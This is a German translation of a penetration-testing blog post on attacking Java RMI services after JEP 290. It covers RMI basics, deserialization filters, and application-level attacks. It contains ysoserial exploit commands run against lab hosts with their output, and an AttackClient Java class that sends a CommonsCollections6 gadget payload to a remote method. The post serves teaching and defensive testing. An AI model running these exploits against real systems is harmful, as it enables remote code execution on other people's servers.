Angriffe auf RMI Dienste nach JEP 290

Kompromittierung von RMI Diensten per Java Deserialisierung

Dies ist eine übersetzte Version. Das englische Original finden Sie hier.

TL:DR: Die Einführung von JEP 290 blockiert die Verwendung der bekannten RMI Exploits in ysoserial. Solange kein globaler Deserialisierungsfilter konfiguriert wurde ist es jedoch nach wie vor möglich entsprechende Schwachstellen auf Applikationsebene auszunutzen. Dieser Post zeigt wie Argumente für diese Methodenaufrufe zur Laufzeit (unter Verwendung des automatisierbaren Debuggers “youdebug”) ausgetauscht werden können.

Da Java RMI (Remote Method Invocation) auf Java Serialisierung basiert wurden entsprechende RMI Dienste zu einem der primären Ziele der “Java Deserialisierungs Appocalypse”. Dies hat sich durch die Einführung von JEP 290 in aktuellen JDK Releases geändert. Dieser Post beschreibt die entsprechenden Änderungen und wie es nach wie vor möglich ist, entsprechende Deserialisierungsschwachstellen auf Applikationsebene auszunutzen.

Dieser Post ist eine Ergänzung zu meinem Talk auf der Bsides München 2019, die Slides und Beispiele finden sich auf GitHub. Ich gebe hier zwar eine kurze Übersicht über die Funktionsweise von RMI, ein Grundverständnis zu den Themen RMI, RPC sowie Java Deserialisierung ist aber dennoch sehr nützlich. Zudem behandeln dieser Artikel nicht die Verwendung von JMX über RMI, welches (selbst in modernen Umgebungen) einer der am gängigsten Verwendungswecke von RMI darstellt. Dieses Thema wird in einem separaten Blogpost erklärt.

Auf den Schultern von Riesen stehen

Dieser Blogpost wäre nicht ohne die Vorarbeit Anderer möglich:

  • Chris Frohoff und alle ysoserial-Autoren
    ysoserial ist ein Tool das wir regelmäßig im Rahmen von Penetrationstests (und auch bei diesem Post) verwenden. Das Lesen des ysoserial-Codes hilft wesentlich beim Verstehen der inneren Abläufe entsprechender Angriffe.

  • Moritz Bechler Neben seinen erstklassigen Payloads veröffentlichte Moritz über ysoserial auch zwei RMI-relevante Exploits.

  • Matthias Kaiser Ich hatte bei meinem letzten Arbeitgeber die Möglichkeit mit Matthias zusammenzuarbeiten. In dieser Zeit lernte ich sehr viel von Matthias, insbesondere wie man per Debugger Java-Anwendung analysiert. Er veröffentlichte in ysoserial auch unter Anderem die Gadgetchain “CommonsCollections6” welche wir regemäßig bei Assessments verwenden.

  • Nicky Bloor Nicky Bloor gab 2016 zum Thema RMI einen Talk auf der 44con, der beim Erstellen dieses Posts sehr nützlich war. Zudem veröffentlichte er ein Tool namens BaRMIe.

RMI Grundlagen

Für Leser ohne besondere Java Vorkenntnisse geben wir zunächst einen allgemeinen Überblick über Java RMI. Leser die über entsprechendes Wissen verfügen können dies überspringen und direkt zu den weiter unten beschriebenen Angriffstechniken übergehen.

Java RMI ist die Java Version einer “verteilten Objektkommunikation” und wird primär dazu verwendet um Client-/Serveranwendungen wie beispielsweise Richclients zu implementieren. Java verwendet dabei sogenannte “Stubs” und “Skeletons”. Damit diese von Java automatisch generiert werden können muss der Dienst ein Interface definieren, welches wiederum das “Remote” Interface erweitert. Für meinen Bsides-Vortrag habe ich einen sehr einfachen RMI Dienst mit dem folgenden Interface implementiert.

package de.mogwailabs.BSidesRMIService;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IBSidesService extends Remote {
   boolean registerTicket(String ticketID) throws RemoteException;
   void vistTalk(String talkname) throws RemoteException;
   void poke(Object attende) throws RemoteException;
}

Dieses Interface muss sowohl dem Client als auch dem Server bekannt gemacht werden. Der Client arbeitet dann mit einem automatisch aus dem Interface generierten Stub, während der Server die eigentliche Implementierung des Interfaces bereitstellen muss. Hier ein entsprechendes Beispiel:

package de.mogwailabs.BSidesRMIService;

import java.rmi.RemoteException;
import java.rmi.server.RemoteObject;
import java.rmi.server.UnicastRemoteObject;

public class BSidesServiceServerImpl extends UnicastRemoteObject  implements IBSidesService  {

	public BSidesServiceServerImpl() throws RemoteException {}
	
	public boolean registerTicket(String ticketID) throws RemoteException {
		System.out.println("registerTicket called: " + ticketID);
		return false;
	}

	public void vistTalk(String talkname) throws RemoteException {
		System.out.println("visitTalk called: " + talkname);
	}

	public void poke(Object attende) throws RemoteException {
		System.out.println("poking " + attende.toString());
	}
}

Damit über das Netzwerk auf diese Implementierung zugegriffen werden kann muss der Server diesen Dienst unter einem Namen bei der RMI Naming Registry registrieren. Die Registry kann man mit einem Telefonbuch oder einem DNS Server vergleichen. Ein RMI Dienst wird dabei unter einem eindeutigen Namen (im Beispiel “bsides”) registriert. Clients können die RMI Registry nach diesem Namen fragen und erhalten eine Referenz auf das eigentliche serverseitige Objekt, sowie die von diesem implementierten Interfaces. Die meisten RMI Dienste verwenden zu Bereitstellung der Naming Registry den Standardport (TCP Port 1099), die Verwendung eines anderen Ports ist aber ebenfalls möglich

Es ist prinzipiell möglich eine vorhandene Naming Registry zu verwenden, der Server kann aber auch eine eigene Instanz starten. Die Registrierung von Objekten erfolgt durch Aufruf der Methoden “bind” oder “rebind”. Hier ein minimales Beispiel für den Bsides RMI Dienst.

package de.mogwailabs.BSidesRMIService;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class BSidesServer {
	public static void main(String[] args) {
		try {
			// Create new RMI registry to which we can register
			LocateRegistry.createRegistry(1099);

			// Make our BSides Server object 
			// available under the name "bsides"
			Naming.bind("bsides", new BSidesServiceServerImpl()); 
			System.out.println("BSides RMI server is ready");
		
		} catch (Exception e) {
			// In case of an error, print the stacktrace 
			// and bail out
			e.printStackTrace();
		} 
	}
}

Serverseitig haben wir nun Alles was wir brauchen. Als ersten Test können wir per “nmap” testen, ob der RMI Dienst auch über das Netzwerk erreichbar ist. Nmap stellt hierfür den das sehr nützliche Script “rmi-dumpregistry” zur Verfügung, welches eine Übersicht über alle bei einer Naming-Registry hinterlegten Objekte liefert. Die Ausgabe beinhaltet die folgenden Informationen:

  • Der zur Registrierung des Objekts verwendete Name (“bsides)
  • Welche Interfaces vom Objekt implementiert werden (de.mogwailabs.BsidesRMIService.IBSidesService)
  • An welcher IP-Adresse/Port der eigentliche Skeleton erreicht werden kann (10.165.188.25:43229)
nmap 10.165.188.25 -p 1099 -sVC

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-09 19:26 CET
Nmap scan report for 10.165.188.25
Host is up (0.00028s latency).

PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi Java RMI Registry
| rmi-dumpregistry: 
|   bsides
|      implements java.rmi.Remote, de.mogwailabs.BSidesRMIService.IBSidesService, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @10.165.188.25:43229
|             extends
|_              java.rmi.server.RemoteObject

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.19 seconds

Standardmäßig verwendet Java einen zufälligen Port für den eigentlichen RMI Dienst, was es zu einem Alptraum für Firewalladministratoren machte. Wenn wir einen nmap-Servicescan auf den von der RMI Registry zurückgelieferten Port durchführen so erhalten wir die Information das dort ein “Java RMI” Dienst erreichbar ist:

nmap 10.165.188.25 -p 43229 -sVC

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-09 19:27 CET
Nmap scan report for 10.165.188.25
Host is up (0.00040s latency).

PORT      STATE SERVICE     VERSION
43229/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.93 seconds

Hier nun eine minimale Implementierung eines RMI Clients. Dieser verbindet sich zunächst zur RMI Naming Registry und frägt dort das unter dem Namen “bsides” registrierte Objekt ab und interagiert dann mit dem von der Registry zurückgelieferten Stub. Hier lassen sich die im Interface definierten Methoden aufgerufen.

package de.mogwailabs.BSidesRMIService;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BSidesClient {

	public static void main(String[] args) {

		try {
			String serverIP = args[0];
			int serverPort = 1099;
			
			// Lookup the remote object that is registered as "bsides"
			Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
			IBSidesService bsides = (IBSidesService) registry.lookup("bsides");

			// calling server side methods...
			System.out.println("Calling bsides.registerTicket()");
			bsides.registerTicket("123456");
			System.out.println("Calling bsides.visitTalk()");
			bsides.vistTalk("Exploiting Java RMI services");

		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

Wie man sieht benötigt der Client hierfür die Interface-Definitionen. In einer echten Anwendung würde der Client auch noch weitere Klassen benötigen, beispielsweise falls der Methodenaufruf bestimmte Objekte als Parameter vorsieht.

Wenn der RMI Dienst von einer Art Fatclient verwendet wird, findet man diese häufig, beispielsweise auf einem separaten Webserver des Systems.

Angriffe auf Applikationsebene

Der RMI Standard selbst bietet keine Form der Authentifizierung. Dies wird daher oft auf Applikationsebene implementiert, beispielsweise durch eine “login” Methode, die dann vom Client aufgerufen werden muss. Hierdurch verschiebt sich die Sicherheit des Systems auf den (von den Angreifern kontrollierten) Client, was grundsätzlich eine schlechte Idee ist.

Angreifer, denen die Interfaces eines Dienstes bekannt sind können einen eigenen Client implementieren und darüber direkt serverseitige Methoden aufrufen. Im folgenden Beispiel ruft der Client nicht die “registerTicket” Methode auf sondern besucht direkt den super-interessanten Talk “Exploitng Java RMI services”.

package de.mogwailabs.BSidesRMIService;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BSidesClient {

	public static void main(String[] args) {

		try {
			String serverIP = args[0];
			int serverPort = 1099;
			
			// Lookup the remote object that is registered as "bsides"
			Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
			IBSidesService bsides = (IBSidesService) registry.lookup("bsides");

			// calling server side methods...
			// Skip the Ticket registration, as we don't have one
			// bsides.registerTicket("123456");
			System.out.println("Calling bsides.visitTalk()");
			bsides.vistTalk("Exploiting Java RMI services");

		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

Je nach Zielapplikation können Angreifer versuchen beliebige Methoden über ihren Client direkt aufzurufen. Die Möglichkeiten hängen hier im Wesentlichen von den auf den Server erreichbaren Methoden und den von ihnen erwarteten Argumenten ab.

RMI Angriffe mittels Java Deserialisierung (vor JEP 290)

Da RMI Dienste serialisierte Java Objekte verwenden können sie durch Deserialisierungsangriffe kompromittiert werden. Hierzu muss aber ein entsprechendes Deserialisierungs-Gadget im Classpath des Zielsystems vorhanden sein. Moritz Bechler hat dies bereits 2016 durch die Veröffentlichung von zwei Exploits in Ysoserial gezeigt.

  • RMIRegistryExploit Das RMI Registry Exploit sendet ein manipuliertes serialisiertes Objekt als Parameter an die “bind” Methode der Naming Registry.

  • JRMPClient Das JRMP Client Exploit zielt auf den Remote DGC (Distributed Garbage Collection) ab, welcher von jedem RMI Dienst zur Verfügung gestellt werden muss. Dieses Exploit kann gegen jeden RMI Dienst verwendet werden (also nicht nur die RMI Naming Registry).

Beide Exploits funktionieren sehr zuverlässig wenn eine funktionierende Gadgetchain im Classpath des Ziels vorhanden ist. Das RMIRegistryExploit hat den Vorteil, dass es die vom Server zurückgelieferte Exception ausgibt, wodurch sich die Existenz einer Gadgetchain prüfen lässt. Die Exception kann jedoch auch zur Kompromittierung des Angreifers führen, da sie von ysoserial deserialisiert wird, das ist aber eine andere Geschichte.

Das folgende (gekürzte) Beispiel zeigt das Ausführen des Exploits gegen die Naming Registry des Bsides Dienstes, wobei das Groovy Gadget verwendet wird. Dieses Gadget befindet sich nicht im Classpath des Dienstes, weshalb eine “class not found” Exception zurückgegeben wird.

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.165.188.25 1099 Groovy1 "touch /tmp/xxx"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.lang.ClassNotFoundException: org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI class loader disabled)
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:419) 
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)    
        at sun.rmi.transport.Transport$2.run(Transport.java:202)                                        
        at sun.rmi.transport.Transport$2.run(Transport.java:199)                   
        at java.security.AccessController.doPrivileged(Native Method)           
        at sun.rmi.transport.Transport.serviceCall(Transport.java:198)                     
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)                                                    
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
        at java.lang.Thread.run(Thread.java:745)                                           
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)        
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)                            
        at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:85)        
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:79)        
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:79)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:73)                                                          
Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.lang.ClassNotFoundException: org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI class loader disabled)

Hier ein Beispiel mit der erfolgreichen Deserialisierung eines CommonCollections6 Gadgets. Beim RMI Service ist CommonsCollection 3.1 im Classpath daher funktioniert die Deserialisierung, es wird aber eine andere Exception ausgegeben.

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.165.188.25 1099 CommonsCollections6 "touch /tmp/xxx"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.AccessException: Registry.Registry.bind disallowed; origin /10.165.188.1 is non-local host
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:419)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)
        at sun.rmi.transport.Transport$2.run(Transport.java:202)
        at sun.rmi.transport.Transport$2.run(Transport.java:199)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:198)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
        at java.lang.Thread.run(Thread.java:745)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
        at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:85)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:79)
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:79)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:73)
Caused by: java.rmi.AccessException: Registry.Registry.bind disallowed; origin /10.165.188.1 is non-local host
        at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:257)

JEP 290

Um die mit der unsicheren Deserialisierung einhergehenden Risiken zu adressieren führte Oracle mehrere Änderungen in Java durch. Die wichtigsten wurden im Java Enhancement Process (JEP) Dokument (kurz JEP 290) aufgelistet. JEP 290 ist Teil vom JDK9 wurde jedoch auch für ältere Java Versionen implementiert:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP 290 erlaubt die Durchführung von “Look Ahead” Deserialisierung, wofür mehrere Filter in Java eingebaut wurden. Diese Filter erlauben eine Analyse des Bytestroms, bevor dieser deserialisiert wird. Eine gute Einführung zu diesen Filtern findet sich in diesem Blogpost von Red Hat oder der offiziellen Oracle Dokumentation.

Die Filter können als Pattern definiert werden, es ist aber auch möglich eine eigene Implementierung der ObjectInputFilter API zu verwenden. Pattern-basierende Filter haben den Vorteil das sie in einer Konfigurationsdatei oder beim Start des Java Prozesses angegeben werden können, was eine nachträgliche Änderung (ohne erneutes Compilieren der Anwendung) erlaubt. Sie haben jedoch auch einige Nachteile, beispielsweise sind sie zustandslos und erlauben daher beispielsweise keine Entscheidungen auf Basis vorheriger Klassen. Sämtliche Filter können auf Allow- oder Denylist Basis erstellt werden.

Hier ein paar Beispiele für Pattern-basierende Filter (aus dem RedHat Artikel):

// this matches a specific class and rejects the rest
"jdk.serialFilter=org.example.Vehicle;!*" 

 // this matches all classes in the package and all subpackages and rejects the rest 
- "jdk.serialFilter=org.example.**;!*" 

// this matches all classes in the package and rejects the rest 
- "jdk.serialFilter=org.example.*;!*" 

 // this matches any class with the pattern as a prefix
- "jdk.serialFilter=*;"

Processweite Filter

Wie der Name bereits suggestiert werden prozessweite Filter für sämtliche ObjectInputStreams angewendet es sei denn er wird durch einen anderen (Stream-spezifische) Filter überschrieben. Java erlaubt die Angabe dieses Filters als Kommandozeilenargument ("-Djdk.serialFilter=") oder durch das Setzen einer Systemproperty in $JAVA_HOME/conf/security/java.security.

Es ist zwar möglich, prozessweite Filter auf Basis einer Allowlist zu konfigurieren, in der Praxis erweist sich das jedoch als recht schwierig, da Entwickler hierzu alle von der Anwendung benötigten serialisierbaren Klassen identifizieren müssen. Aus der Oracle Dokumentation:

Typically, process-wide filters are used to reject specific classes or packages, or to limit array sizes, graph depth, or total graph size.

Eigene Filter Wie bereits angemerkt ist es möglich, den prozessweiten Filter mit einem eigenen Filter für einen Stream zu überschreiben. Das ist nützlich wenn Entwickler Objekte von einem bestimmten Stream deserialisieren müssen und daher die erwarteten Objekte auf bestimmte Klassen/Packages eingrenzen können.

Eigene Filter werden als ObjectInputFilter Instanz erstellt und erlauben ebenfalls die Verwendung von Pattern. Hier ein Beispiel, das auf Basis einer Allowlist arbeitet. Der Filter akzeptiert nur Klassen des Packages “de.mogwailabs.Example”, alle anderen Objekte werden verworfen:


ObjectInputFilter filesOnlyFilter = ObjectInputFilter.Config.createFilter("de.mogwailabs.Example;!*");

Bei RMI sind eigene Filter nicht von Bedeutung. Entwickler eines RMI basierenden Dienstes rufen nie selbst die “readObject” Methode des RMI-Streams auf, da dies von der Java-internen RMI Implementierung durchgeführt wird.

Integrierte Filter Der JDK beinhaltet integrierte Filter für die RMI Naming Registry sowie den RMI Distributed Garbage Collector. Beide Filter sind Allowlist-basierend und erlauben nur die Deserialisierung von bestimmten Klassen.

Diese beiden Filter haben eine direkte Auswirkung auf potenzielle Angreifer, da sie mit einem Java-Update verteilt werden. Im Anschluss ist es nicht länger möglich, die von Moritz Bechler bereitgestellten Exploits zu verwenden.

Versucht man das RMI Naming Registry Exploit gegen eine Naming Registry unter einer aktuellen JDK Version auszuführen erhält man immer dieselbe Fehlermeldung, egal ob das verwendete Gadget auf dem Zielsystem existiert oder nicht. Selbst wenn der Gadget existiert wird der Payload nicht deserialisiert.

Als Beispiel, hier die Fehlermeldung bei Verwendung des Clojure Gadgets gegen einen RMI Service mit OpenJDK 10

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.165.188.117  1099 Clojure "touch /tmp/savetest"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: 
        java.rmi.AccessException: Registry.bind disallowed; origin /10.165.188.1 is non-local host
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:391)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
        at java.lang.Thread.run(Thread.java:844)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
        at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.AccessException: Registry.bind disallowed; origin /10.165.188.1 is non-local host
        at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:358)
        at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:69)
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
        at java.lang.Thread.run(Thread.java:844)

Indentifkation von JEP 290 über RMI

Die Tatsache das die integrierten Filter auf Basis einer Allowlist funktionieren erlaubt eine Remote-Überprüfung des vorhandenen Patchlevels. Beispielsweise können Angreifer einfach ein beliebiges Objekt, dessen Klasse nicht auf dem Server existiert serialisieren und die vom Server zurückgelieferte Exception analysieren.

Wenn Angreifer davon ausgehen können, dass das Ziel in der Lage ist externe DNS Namen aufzulösen ist auch die Verwendung des URLDNS Gadgets von ysoserial denkbar. Dieses Gadget ist in sämtlichen Java Versionen verfügbar und bringt das Zielsystem dazu einen (von den Angreifern kontrollierten) DNS Namen aufzulösen.

Da die Anzahl der bekannten Gadgets begrenzt ist, hat die Identifikation von JEP 290 nur einen begrenzten Nutzen. Es ist auch der “Script-Kiddy” Ansatz möglich, bei dem alle verfügbaren Gadgets zum Ziel zu senden. Es bietet Verteidigern jedoch einen interessanten “Remote” Ansatz um RMI Dienste mit veralteter Java Version zu finden.

An Trinhs RMI Registry Bypass

2019 veröffentlichte An Trinh ein Gadget mit dem sich der Filter der RMI Naming Registry umgehen lässt. Das Gadget erlaubt den Aufbau einer ausgehenden JRMP Verbindung, über die im Anschluss ungefilterte Deserialisierungsangriffe durchgeführt werden können. Dieses Gadget wird hier nicht weiter beschrieben, alle Informationen finden sich in einem separaten Blogpost

Deserialisierungsangriffe auf Applikationsebene

Die mit JEP 290 eingeführten Filter verhindern das Ausnutzen von Java Deserialisierungsschwachstellen in der RMI Registry und dem DGC, auf Applikationsebene ist dies (solange kein prozessweiter Filter gesetzt wurde) aber nach wie vor möglich. Das “best case” Szenario für Angreifer ist dabei eine Methode, die ein beliebiges Objekt als Argument akzeptiert. In unserem Beispiel ist das beispielsweise für die “poke” Methode der Fall:

   void poke(Object attende) throws RemoteException;

Auch hier können Angreifer mit Zugriff auf das Interface einen eigenen Client implementieren. In diesem Fall erzeugt dieser ein entsprechendes Java Objekt durch ysoserial und ruft mit diesem die Poke Methode auf:

package de.mogwailabs.BSidesRMIService;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections6;

public class AttackClient {

	public static void main(String[] args) {

		try {
			String serverIP = args[0];
			int serverPort = 1099;
			
			// Lookup the remote object that is registered as "bsides"
			Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
			IBSidesService bsides = (IBSidesService) registry.lookup("bsides");

			// create the malicious object via ysososerial
			Object payload = new CommonsCollections6().getObject(args[2]);
			
			// pass it to the target by calling the Poke method
			bsides.poke(payload);
			
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

Ein reales Beispiel für einen solchen Fall ist CVE-2018-4939, eine von Nicky Bloor gefundene Schwachstelle im RMI Dienst von Adobe ColdFusion. Ein detaillierter Writeup zur Schwachstelle findet sich auf seinem Blog. Ein weiteres Beispiel ist der RmiInvocationHandler des Spring Frameworks, bei dem es möglich ist beliebige Objekte an die RemoteInvocation Klasse zu übergeben.

“Umgehen” der Typsicherheit

Leider bieten die meisten RMI Interfaces keine Methode, welche die Übergabe von beliebigen Objekten als Argument erlaubt. Die meisten Methoden erwarten einfache Datentypen wie Integer, Long oder die Instanz einer Klasse. Aufgrund der Art und Weise, wie RMI serverseitig implementiert ist können Angreifer im letzten Fall diese Einschränkung umgehen:

Wenn ein RMI Client eine Methode auf dem Server aufruft, wird die Methode “marshalValue” in " sun.rmi.server.UnicastServerRef.dispatch” verwendet um die Methodenargumente aus dem ObjectInputStream zu lesen.

// unmarshal parameters
Class<?>[] types = method.getParameterTypes();
Object[] params = new Object[types.length];

try {
    unmarshalCustomCallData(in);
    for (int i = 0; i < types.length; i++) {
        params[i] = unmarshalValue(types[i], in);
}

Hier der eigentliche Code der “unmarshalValue” Methode (von “sun.rmi.server.UnicastRef”). Abhängig vom erwarteten Datentyp liest die Methode den Wert vom ObjectStream. Falls wir keinen primitiven Datentyp wie beispielsweise ein Integer haben wird “readObject()” aufgerufen, wodurch Java Deserialisierungsangriffe möglich werden.

    /**
     * Unmarshal value from an ObjectInput source using RMI's serialization
     * format for parameters or return values.
     */
    protected static Object unmarshalValue(Class<?> type, ObjectInput in)
        throws IOException, ClassNotFoundException
    {
        if (type.isPrimitive()) {
            if (type == int.class) {
                return Integer.valueOf(in.readInt());
            } else if (type == boolean.class) {
                return Boolean.valueOf(in.readBoolean());
            } else if (type == byte.class) {
                return Byte.valueOf(in.readByte());
            } else if (type == char.class) {
                return Character.valueOf(in.readChar());
            } else if (type == short.class) {
                return Short.valueOf(in.readShort());
            } else if (type == long.class) {
                return Long.valueOf(in.readLong());
            } else if (type == float.class) {
                return Float.valueOf(in.readFloat());
            } else if (type == double.class) {
                return Double.valueOf(in.readDouble());
            } else {
                throw new Error("Unrecognized primitive type: " + type);
            }
        } else {
            return in.readObject();
        }
}

Update vom 26 Juni 2020

Im Januar 2020 wurde der Code der unmarshalValue geändert. Hier der Code der aktualisierten Version:

    /**
     * Unmarshal value from an ObjectInput source using RMI's serialization
     * format for parameters or return values.
     */
    protected static Object unmarshalValue(Class<?> type, ObjectInput in)
        throws IOException, ClassNotFoundException
    {
        if (type.isPrimitive()) {
            if (type == int.class) {
                return Integer.valueOf(in.readInt());
            } else if (type == boolean.class) {
                return Boolean.valueOf(in.readBoolean());
            } else if (type == byte.class) {
                return Byte.valueOf(in.readByte());
            } else if (type == char.class) {
                return Character.valueOf(in.readChar());
            } else if (type == short.class) {
                return Short.valueOf(in.readShort());
            } else if (type == long.class) {
                return Long.valueOf(in.readLong());
            } else if (type == float.class) {
                return Float.valueOf(in.readFloat());
            } else if (type == double.class) {
                return Double.valueOf(in.readDouble());
            } else {
                throw new Error("Unrecognized primitive type: " + type);
            }
        } else if (type == String.class && in instanceof ObjectInputStream) {
            return SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)in);
        } else {
            return in.readObject();
        }
    }

